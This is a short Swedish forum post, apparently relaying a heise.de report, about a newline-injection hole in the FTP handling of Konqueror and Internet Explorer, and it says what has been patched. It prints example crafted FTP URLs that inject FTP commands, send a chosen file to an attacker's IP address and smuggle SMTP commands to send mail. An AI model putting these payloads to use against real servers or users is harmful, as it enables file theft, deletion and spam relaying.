Säkerhetshål i FTP-komponenten i IE och Konqueror

[Holger]

Hoppas att detta inte är gammal information




I FTP-komponenterna i webbläsarna Konqueror och Internet Explorer har säkerhetshål upptäckts, genom vilka kommandon kan utföras på en FTP-server med hjälp av manipulerade FTP-URLer (FTP://). Därutöver är det till och med möjligt att skicka mails via STMP-servrar. Spammare kan manipulera webbsidor på ett sådant sätt att besökare skickar mails t.e.x när de klickar på bilder.

Problemet ligger i fel (ingen) filtring av URL-koderade Newline-tecken (%0a), så att FTP-kommandon kan byggas in i FTP-sessioner:

ftp://ftpuser:ftppass@server/directory%0aftp-befehl%0a

I detta exempel måste användaren indentifieras först. Enligt Albert Galicia, som upptäckte hålet, kan servern styras med hjälp av vilket kommando som helst, såvida användaren klickar på en länk.

Länken

ftp://server/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file

utlöser ett kommando som skickar vald fil till en angripare med IP-adressen a,b,c,d. Dessutom är det möjligt att radera filer.

Eftersom FTP-kommunikationen till en viss del liknar SMTP, fungerar detta för försändelse av epost med vissa länkar.

ftp://foo%0d%0aHELO mail%0d%0aMAIL FROM%3a<>%0d%0aRCPT
TO%3a%0d%0aDATA%0d%0aSubject%3a
hacked%0d%0aTo%3a user%40server%0d%0a%0d%0ahacked
%0d%0a.%0d%0a:victim@domain:25

Felet är känt sedan den 5:e december (Konqueror) resp. 7:e december (Internet Explorer). KDE-teamet har publicerat ett Advisory som refererar till patchar för FTP-komponenten kioslave under KDE 3.2.3 och 3.3.2. Linux-distributörerna har redan aktualiserat KDE-paketen.

För Internet Explorern finns ännu ingen uppdatering, i Windows XP med SP2 har detta fel avhjälpts. XP-användare med SP1 bör installera SP2 omgående, eftersom ett stort antal fel har korrigerats med SP2.
Användare som ej KAN installera SP2 bör använda en annan webbläsare.

Källa: heise.de